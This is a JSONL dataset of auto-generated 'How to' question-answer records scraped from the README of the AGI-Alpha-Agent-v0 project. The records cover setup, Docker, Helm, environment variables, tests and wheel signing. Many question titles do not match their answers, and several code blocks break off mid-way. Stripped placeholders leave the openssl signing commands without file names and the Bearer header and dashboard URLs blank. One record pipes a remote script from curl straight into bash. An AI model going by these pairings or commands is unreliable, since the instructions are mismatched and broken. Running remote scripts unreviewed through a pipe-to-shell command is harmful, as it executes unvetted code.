{"id": "gh_8198534c440f", "question": "How to: 6 · 5‑Minute Quick‑Start 🚀", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "This guide assumes the repository is cloned at `v0.1.0-alpha`. The walkthrough\nrequires the `numpy`, `yaml` and `pandas` packages which `check_env.py` installs\nautomatically when run with `--auto-install`.\n```bash\ngit clone --branch v0.1.0-alpha https://github.com/MontrealAI/AGI-Alpha-Agent-v0.git\ncd AGI-Alpha-Agent-v0\n./quickstart.sh --preflight   # optional environment check\npython check_env.py --auto-install  # verify & auto-install deps (10 min timeout)", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577801"}
{"id": "gh_30ad45673541", "question": "How to: `tests/README.md` for detailed instructions.", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "ALPHA_FACTORY_FULL=1 python check_env.py --auto-install", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577806"}
{"id": "gh_f6762188612f", "question": "How to: ./scripts/build_offline_wheels.sh", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "./quickstart.sh               # creates venv, installs deps, launches", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577811"}
{"id": "gh_f2f54e819dec", "question": "How to: Deploy instantly with Docker (prebuilt image)", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "docker run --pull=always -p 8000:8000 ghcr.io/montrealai/alpha-factory:latest", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577820"}
{"id": "gh_4f076a5d1901", "question": "How to: Pull a specific build by commit SHA", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "docker run --pull=always -p 8000:8000 ghcr.io/montrealai/alpha-factory:", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577824"}
{"id": "gh_c336a80bac6c", "question": "How to: Automated one-click setup (builds & starts Docker stack)", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "./alpha_factory_v1/scripts/one_click_install.sh --deploy", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577831"}
{"id": "gh_1f084634b18e", "question": "How to: Verify the Ω‑Lattice demo locally", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "python alpha_factory_v1/demos/alpha_agi_business_3_v1/alpha_agi_business_3_v1.py --loglevel info", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577835"}
{"id": "gh_7f340a2297f1", "question": "How to: The entrypoint automatically verifies dependencies via `check_env.py`.", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\n\nAdjust `alpha_factory_v1/demos/alpha_asi_world_model/config.yaml` to tune the world-model loop. Key options include\n`env_batch` (parallel environments), `hidden` (latent state size) and `mcts_simulations` (MCTS rollouts per action).", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577840"}
{"id": "gh_da81689a74a9", "question": "How to: Insight Browser Demo", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "A browser-only Pareto explorer lives under\n`alpha_factory_v1/demos/alpha_agi_insight_v1/insight_browser_v1`.\nRun `npm run build` in that directory to generate the `dist/` assets\n(they are not stored in Git) then open `dist/index.html` to run the demo locally.\nThe quick-start guide is available from the\n[documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/) and is copied\nto `dist/insight_browser_quickstart.pdf` during the build so it is available\nalongside the compiled assets.\nSet `window.DEBUG = true` before loading the page to expose debugging helpers\nsuch as `window.pop`.\n\nFor evolutionary experiments you can run the optional\n[evolution worker](https://montrealai.github.io/AGI-Alpha-Agent-v0/) container\nand POST a tarball of agent code to `/mutate`.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577847"}
{"id": "gh_a706bfb1f00f", "question": "How to: Docker Quickstart", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Start the full stack using Docker Compose:\n```bash\ndocker compose up --build\n```\nBrowse the dashboard at\n.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577851"}
{"id": "gh_346e40c3ee92", "question": "How to: One-Click Docker Quickstart", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Run the minimal image directly:\n```bash\n./run_quickstart.sh\n```\nThe script prints the project disclaimer, builds `docker/quickstart/Dockerfile`\nand launches the container with your `.env` file mounted.\n\nThe same configuration can be installed via Helm:\n```bash\nhelm upgrade --install alpha-demo ./infrastructure/helm-chart \\\n  --values ./infrastructure/helm-chart/values.yaml \\\n  --set env.RUN_MODE=web\n```\nThis deploys the services to your local Kubernetes cluster.\n\nGenerate TLS certificates for the gRPC bus using the bundled helper:\n```bash\n./infrastructure/gen_bus_certs.sh > .env.bus\nsource .env.bus\n```\nThe script prints `AGI_INSIGHT_BUS_CERT`, `AGI_INSIGHT_BUS_KEY` and\n`AGI_INSIGHT_BUS_TOKEN` which you can append to your `.env` file.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577857"}
{"id": "gh_e2f8f5218fc0", "question": "How to: .env Setup & Security", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Before running the orchestrator, copy `alpha_factory_v1/.env.sample` to `.env` and\nreplace all placeholder values with strong secrets. The sample sets\n`NEO4J_PASSWORD=REPLACE_ME` as a placeholder—generate a random password for\nservices like Neo4j and Postgres using `openssl rand -base64 18` or a similar\ntool and **never deploy with the defaults**. The orchestrator will refuse to\nstart if `NEO4J_PASSWORD` remains `REPLACE_ME` or is missing.\nSet `API_TOKEN` to a strong secret so that the REST API can authenticate\nincoming requests. Clients must send `Authorization: Bearer\n`.\nThe server aborts if `API_TOKEN` equals `REPLACE_ME_TOKEN`.\n\n#### API Token Requirement\n\nBefore starting the API server or running the test suite, ensure `API_TOKEN`\nis set to a non-default value. The examples in `tests/test_api_status.py` use\n`test-token` as a reference token for local runs.\nUse `API_RATE_LIMIT` to limit requests per minute per IP (default `60`).\nIf more than 5% of requests return HTTP `429` within a minute, the server calls\n`utils.alerts.send_alert` to report excessive throttling.\nAvoid storing private keys directly in `.env`. Instead set\n`AGI_INSIGHT_SOLANA_WALLET_FILE` to a file containing your hex-encoded wallet\nkey and keep that file readable only by the orchestrator.\nTo enable secure gRPC transport set `AGI_INSIGHT_BUS_CERT`,\n`AGI_INSIGHT_BUS_KEY` and `AGI_INSIGHT_BUS_TOKEN`. If these values are\nomitted and `AGI_INSIGHT_ALLOW_INSECURE=1`, the bus starts without TLS.\nSee the [documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/)\nfor instructions and example volume mounts.\n\n`.env.sample` notes that paths on Windows may require quotes (e.g., `C:\\\\path\\\\to\\\\file`).\n\n#### Supported Environment Variables\n\n| Variable | Default | Purpose |\n|----------|---------|---------|\n| `OPENAI_API_KEY` | _(empty)_ | API key for hosted models. Offline mode is used when empty. |\n| `OPENAI_TIMEOUT_SEC` | `30` | Timeout for OpenAI API requests in seconds. |\n| `NO_LLM` | `0` | Set to `1` to skip the LLM planner even when `OPENAI_API_KEY` is provided. |\n| `ALPHA_ASI_LLM_MODEL` | `gpt-4o-mini` | Planner model name used by the world model demo. |\n| `ALPHA_ASI_SEED` | `42` | Deterministic RNG seed for the demo (can also be set via `general.seed` in `config.yaml`). |\n| `ALPHA_ASI_MAX_STEPS` | `100000` | Learner steps before auto-stop. |\n| `ALPHA_ASI_BUFFER_LIMIT` | `50000` | Replay-buffer length. |\n| `ALPHA_ASI_TRAIN_BATCH` | `128` | SGD mini-batch size. |\n| `ALPHA_ASI_MAX_GRID` | `64` | Safety clamp on generated mazes. |\n| `ALPHA_ASI_HOST` | `0.0.0.0` | FastAPI bind address for the demo. |\n| `ALPHA_ASI_PORT` | `7860` | FastAPI port for the demo. |\n| `NEO4J_PASSWORD` | `REPLACE_ME` | Database password required by the orchestrator. |\n| `RUN_MODE` | `api` | Launch mode for Compose or Helm (`api`, `cli`, `web`). |\n| `PORT` | `8000` | REST API port. |\n| `AGI_INSIGHT_OFFLINE` | `0` | Set to `1` to force local inference models. |\n| `AGI_INSIGHT_BUS_PORT` | `6006` | gRPC bus port used by the demo. |\n| `AGI_INSIGHT_LEDGER_PATH` | `./ledger/audit.db` | Path to the local audit ledger. |\n| `AGI_INSIGHT_SECRET_BACKEND` | _(empty)_ | Set to `vault`, `aws` or `gcp` to load secrets from an external manager. |\n| `VAULT_ADDR`/`VAULT_TOKEN` | _(empty)_ | Connection details for HashiCorp Vault when using the `vault` backend. |\n| `AWS_REGION`/`OPENAI_API_KEY_SECRET_ID` | _(empty)_ | AWS Secrets Manager region and secret ID when using the `aws` backend. |\n| `GCP_PROJECT_ID`/`OPENAI_API_KEY_SECRET_ID` | _(empty)_ | GCP project and secret name when using the `gcp` backend. |\n| `AGI_INSIGHT_BUS_CERT` | _(empty)_ | Path to the gRPC bus certificate. |\n| `AGI_INSIGHT_BUS_KEY` | _(empty)_ | Private key matching `AGI_INSIGHT_BUS_CERT`. |\n| `AGI_INSIGHT_BUS_TOKEN` | _(empty)_ | Shared secret for bus authentication. |\n| `AGI_INSIGHT_ALLOW_INSECURE` | `0` | Set to `1` to run the bus without TLS when no certificate is provided. |\n| `API_TOKEN` | `REPLACE_ME_TOKEN` | Bearer token required by the REST API. Startup fails if unchanged. |\n| `API_CORS_ORIGINS` | `*` | Comma-separated list of allowed CORS origins. |\n| `SANDBOX_CPU_SEC` | `2` | CPU time limit for sandboxed code. |\n| `SANDBOX_MEM_MB` | `256` | Memory cap for sandboxed code in MB. |\n| `MAX_RESULTS` | `100` | Maximum stored simulation results. |\n| `MAX_SIM_TASKS` | `4` | Maximum concurrent simulation tasks. |\n| `IPFS_GATEWAY` | `https://ipfs.io/ipfs` | Base URL for fetching pinned Insight demo runs. Not used for asset downloads. |\n| `HF_GPT2_BASE_URL` | `https://huggingface.co/openai-community/gpt2/resolve/main` | Base URL for the GPT‑2 checkpoints. |\n| `PYODIDE_BASE_URL` | `https://cdn.jsdelivr.net/pyodide/v0.28.0/full` | Base URL for the Pyodide runtime files. |\n| `FETCH_ASSETS_ATTEMPTS` | `3` | Download retry count for `fetch_assets.py`. |\n| `FETCH_ASSETS_BACKOFF` | `1` | Base delay between retries in seconds. |\n| `OTEL_ENDPOINT` | _(empty)_ | OTLP endpoint for anonymous telemetry. |\n| `SKIP_WEBKIT_T", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577879"}
{"id": "gh_495f0019c683", "question": "How to: Or fetch manually from Hugging Face", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "curl -O https://huggingface.co/openai-community/gpt2/resolve/main/pytorch_model.bin\ncurl -O https://huggingface.co/openai-community/gpt2/resolve/main/vocab.json\ncurl -O https://huggingface.co/openai-community/gpt2/resolve/main/merges.txt\ncurl -O https://huggingface.co/openai-community/gpt2/resolve/main/config.json\n```\n\nFor a production-ready ADK setup see\n[PRODUCTION_GUIDE.md](alpha_factory_v1/demos/alpha_agi_business_v1/PRODUCTION_GUIDE.md).", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577885"}
{"id": "gh_22218206173b", "question": "How to: Finance Demo Quick‑Start", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Launch the finance alpha demo directly from your terminal:\n\n```bash\ncurl -L https://raw.githubusercontent.com/MontrealAI/AGI-Alpha-Agent-v0/main/alpha_factory_v1/demos/finance_alpha/deploy_alpha_factory_demo.sh | bash\n```\n\nThe script pulls the signed demo container, runs a BTC/GLD strategy, prints open\npositions and P&L, and exposes the trace‑graph UI at\n.\n\nNeed a different pair or port? Use environment variables:\n`STRATEGY=my_pair PORT_API=8001 TRACE_WS_PORT=9000 bash deploy_alpha_factory_demo.sh`\n\nNo GPU → falls back to GGML Llama‑3‑8B‑Q4.\nNo `OPENAI_API_KEY` → switches to local SBERT + heuristics.\n`AF_LLM_CACHE_SIZE` caps in-memory LLM cache entries (default 1024).\n`AF_PING_INTERVAL` sets the ping frequency in seconds (default 60, minimum 5).\n`AF_DISABLE_PING_AGENT=true` disables the built‑in ping agent.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577892"}
{"id": "gh_1914aa79d92d", "question": "How to: 6.1 · Running Tests 🧪", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Unit tests can be executed with the bundled helper script:\n\n```bash\npython -m alpha_factory_v1.scripts.run_tests\n```\n\nAlways run `python check_env.py --auto-install` beforehand so optional\ndependencies like `openai_agents` and `gymnasium` are present. Use\n`ALPHA_FACTORY_FULL=1` to install heavy extras.\n\nThe helper validates the target directory, prefers `pytest` when\navailable and otherwise falls back to `unittest`. Ensure all tests pass\nbefore deploying changes.\n\nInstall the optional test dependencies with:\n\n```bash\npip install -r requirements-dev.txt\npip install -r requirements.lock  # pinned versions for deterministic setup\npip install -r alpha_factory_v1/backend/requirements-lock.txt  # includes RDKit\n```\n\nInstall the project in editable mode so tests resolve imports:\n```bash\npip install -e .\npython check_env.py --auto-install  # times out after 10 minutes", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577900"}
{"id": "gh_509b91467623", "question": "How to: Install heavier extras so tests needing torch or faiss work:", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "ALPHA_FACTORY_FULL=1 python check_env.py --auto-install\n```\nThe `run_tests` helper automatically executes `python check_env.py --auto-install`\nbefore running `pytest`. When offline, set `WHEELHOUSE` or pass\n`--wheelhouse\n` so packages install from the local wheel cache. The\nrepository ships with a `wheels/` directory that can be used as this cache.\nThe full test suite relies on optional packages including `numpy`, `torch`,\n`pandas`, `prometheus_client`, `gymnasium`, `playwright`, `httpx`, `uvicorn`,\n`git`, `hypothesis` and `requests_mock`.\n\nTests that depend on optional heavy packages skip automatically when those\nlibraries are missing. Set environment variables like `SKIP_WEBKIT_TESTS=1`\nor `PYTEST_NET_OFF=1` to bypass browser or network tests if the necessary\ndependencies aren't installed.\n\n#### Wheelhouse Setup\n\nTests install packages from PyPI unless a local wheelhouse is provided. Build\none from `requirements.lock` and point `WHEELHOUSE` to it before verifying the\nenvironment and running the suite:\n\n```bash\nmkdir -p wheels\npip wheel -r requirements.lock -w wheels\nexport WHEELHOUSE=$(pwd)/wheels\npython check_env.py --auto-install --wheelhouse \"$WHEELHOUSE\"\nWHEELHOUSE=\"$WHEELHOUSE\" pytest -q\n```\n\nIf network access is unavailable and the variable is unset these commands fail\ninstead of falling back to PyPI.\n\n#### Offline or Restricted Environments\n\nRun `./scripts/build_offline_wheels.sh` to populate a wheelhouse on a\nmachine with internet access, then set `WHEELHOUSE=\n` before executing\nthe tests so dependencies install from this local cache.\nIf `npx playwright install` fails to download WebKit, set `SKIP_WEBKIT_TESTS=1`\nso browser checks skip gracefully.\n\n#### Test Runtime\n\nRunning `pytest` may take several minutes on the first run while caches are\ncreated. Execute the suite in verbose mode to see ongoing progress:\n\n```bash\npytest -vv\n```\n\nAfter completion `pytest` prints a summary such as `### passed in 120.00s`.\n\nThe suite includes `tests/test_api_rate_limit.py` which spins up\n`api_server.app` with `API_RATE_LIMIT=2` and verifies that exceeding the\nlimit returns HTTP `429`.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577908"}
{"id": "gh_5898d343802e", "question": "How to: 6.2 · Marketplace Demo Example 🛒", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "A minimal snippet queues the sample job once the orchestrator is running:\n\n```bash\nalpha-factory --enabled finance,manufacturing &\npython - <<'PY'\nimport subprocess, time\nfrom alpha_factory_v1.demos import alpha_agi_marketplace_v1 as market\ntime.sleep(5)\nsubprocess.run([\"bash\", str(market.POST_JOB_SCRIPT), str(market.SAMPLE_JOB)], check=True)\nmarketplace_args = [\"python\", \"-m\", \"alpha_factory_v1.demos.alpha_agi_marketplace_v1.marketplace\", str(market.SAMPLE_JOB)]\nsubprocess.run(marketplace_args, check=True)\nPY\n```\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577914"}
{"id": "gh_d6daefd75c78", "question": "How to: 6.2 · Cross-Industry Demo Quick‑Start 🌐", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Clone the stable `v0.1.0-alpha` release:\n```bash\ngit clone --branch v0.1.0-alpha https://github.com/MontrealAI/AGI-Alpha-Agent-v0.git\ncd AGI-Alpha-Agent-v0/alpha_factory_v1/demos/cross_industry_alpha_factory", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577919"}
{"id": "gh_7962b55c8da3", "question": "How to: Set AUTO_COMMIT=1 to save generated assets back to the repo", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "./deploy_alpha_factory_cross_industry_demo.sh\n```\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577924"}
{"id": "gh_c1d06039b17a", "question": "How to: 6.3 · Signing Agent Wheels 🔑", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Sign wheels dropped into `$AGENT_HOT_DIR` with the project ED25519 key.\nYou need **OpenSSL** to create and verify signatures. Install it with\n`brew install openssl` on macOS or from the\n[OpenSSL Windows binaries](https://slproweb.com/products/Win32OpenSSL.html).\nGenerate `\n.whl.sig` via:\n\n```bash\nopenssl dgst -sha512 -binary\n.whl |\n  openssl pkeyutl -sign -inkey agent_signing.key |\n  base64 -w0 >\n.whl.sig\n```\n\nKeep `\n.whl.sig` next to the wheel in `$AGENT_HOT_DIR`.\n\nVerify the signature (PowerShell example):\n\n```powershell\nGet-Content\n.whl -Encoding Byte |\n  openssl dgst -sha512 -binary |\n  openssl pkeyutl -verify -pubin -inkey $env:AGENT_WHEEL_PUBKEY -sigfile\n.whl.sig\n```\n\nAdd the base64 signature to `_WHEEL_SIGS` in\n`alpha_factory_v1/backend/agents/__init__.py`. Wheels failing verification are\nignored.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577931"}
{"id": "gh_3c0dd66498e6", "question": "How to: 6.4 · Web Dashboard Quick-Start 📊", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Launch the local web interface:\n```bash\nuvicorn alpha_factory_v1.demos.alpha_agi_insight_v1.src.interface.api_server:app --reload\nstreamlit run alpha_factory_v1/demos/alpha_agi_insight_v1/src/interface/web_app.py", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577936"}
{"id": "gh_de93a6e3c28c", "question": "How to: React client", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "cd alpha_factory_v1/demos/alpha_agi_insight_v1/src/interface/web_client\nnpm ci          # use the lock file for reproducible installs\nnpm run dev       # http://localhost:5173", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577940"}
{"id": "gh_518a88a13462", "question": "How to: build production assets", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "npm run build\npython -m http.server --directory dist 9000\n```\nAlternatively run inside Docker:\n```bash", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577945"}
{"id": "gh_c9dcad55d4bb", "question": "How to: regenerate protobuf modules and Go stubs", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "./tools/gen_proto_stubs.sh  # updates alpha_factory_v1/core/utils/a2a_pb2.py and tools/go_a2a_client/a2a.pb.go\nmake compose-up  # builds and waits for healthy services\n```\nRun `./tools/gen_proto_stubs.sh` whenever `alpha_factory_v1/core/utils/a2a.proto` changes to keep the\nPython and Go stubs up to date.\nOpen\nin your browser. When `RUN_MODE=web`, the container\nserves the static files from `alpha_factory_v1/demos/alpha_agi_insight_v1/src/interface/web_client/dist` using `python -m\nhttp.server`. The FastAPI demo also mounts this folder at `/` when present so the\ndashboard is reachable without additional tooling.\n\nOnce running, Docker Compose marks the services **healthy** when:\n\n- `http://localhost:8000/healthz` returns status `200` for the orchestrator container.\n- `http://localhost:8000/status` exposes agent heartbeats and restart counts.\n  Use `alpha-agi-insight-v1 agents-status` to view the same data from the CLI.\n- `http://localhost:8080/` returns status `200` for the web container.\n\nThe dashboard now plots a 3‑D scatter chart of effectiveness vs. risk vs.\ncomplexity from the final population.\n\nIf Streamlit isn't installed or you're running on a headless server, use:\n```bash\npython -m alpha_factory_v1.demos.alpha_agi_insight_v1.src.interface.minimal_ui --text\n```\nto display the forecast results directly in the console.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577953"}
{"id": "gh_d39fd6240af9", "question": "How to: 7 · Deployment Recipes 🍳", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "The repository bundles a lightweight `edge_runner.py` helper for running\nAlpha‑Factory on air‑gapped or resource‑constrained devices. The script\nforwards to `alpha_factory_v1.edge_runner` and exposes additional flags\nlike `--cycle`, `--loglevel` and `--version`.\nIt prints the same warning as the main CLI before launching.\n\nBuild the demo containers locally:\n\n```bash\ncp .env.sample .env  # fill in NEO4J_PASSWORD, API_TOKEN and optional PINNER_TOKEN\nchmod 600 alpha_factory_v1/.env\ncd infrastructure\ndocker build -t alpha-demo .\ndocker compose up -d", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577960"}
{"id": "gh_d398f796e5f6", "question": "How to: Dashboard available at <http://localhost:8080>", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\n\nThe Compose stack restricts the agents worker using Docker resource limits. The\n`agents` service runs with `mem_limit: 8g`, `pids_limit: 512` and\n`network_mode: none` to prevent outbound traffic.\n\nThe Helm chart under `infrastructure/helm-chart` mirrors this Compose\nsetup:\n\n```bash\nhelm upgrade --install alpha-demo ./infrastructure/helm-chart \\\n  --values ./infrastructure/helm-chart/values.yaml \\\n  --set env.RUN_MODE=web", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577965"}
{"id": "gh_940107a7b91c", "question": "How to: → browse to <http://localhost:8080>", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\n\n`values.example.yaml` demonstrates typical overrides such as API tokens, service ports and replica counts.\n\nThe Helm charts ship with placeholders like `NEO4J_PASSWORD` and\n`adminPassword` set to `REPLACE_ME`. Replace these with strong secrets\nin `values.yaml` or via `--set` before deploying.\n\nTerraform scripts in `infrastructure/terraform` provide GCP and AWS\nexamples. Update the placeholder image and networking variables,\nthen initialise and apply:\n\n```bash\ncd infrastructure/terraform\nterraform init\nterraform apply\n```\n\n| Target | Command | Notes |\n|--------|---------|-------|\n| **Docker Compose** | `docker compose up -d` | Web UI on `localhost:8080` |\n| **Helm (K8s)** | `helm install af helm/alpha-factory` | `--set env.RUN_MODE=web` |\n| **AWS Fargate** | `./infra/deploy_fargate.sh` | set `container_image` & `subnets` |\n| **IoT Edge** | `python edge_runner.py --agents manufacturing,energy` | Jetson Nano |", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577973"}
{"id": "gh_ca0125bb6b5b", "question": "How to: 🚀 Deploying securely", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "See the [documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/) for TLS setup, API tokens and Vault usage. Mount secrets\nvia Docker or Kubernetes and never commit them.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577979"}
{"id": "gh_0139e9004d33", "question": "How to: 8 · Governance & Compliance ⚖️", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "* **MCP envelopes** (SHA‑256, ISO‑8601, policy hash)  \n* **Red‑Team Suite** fuzzes prompts & actions  \n* **Attestations** — W3C Verifiable Credentials at every Actuator call\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577985"}
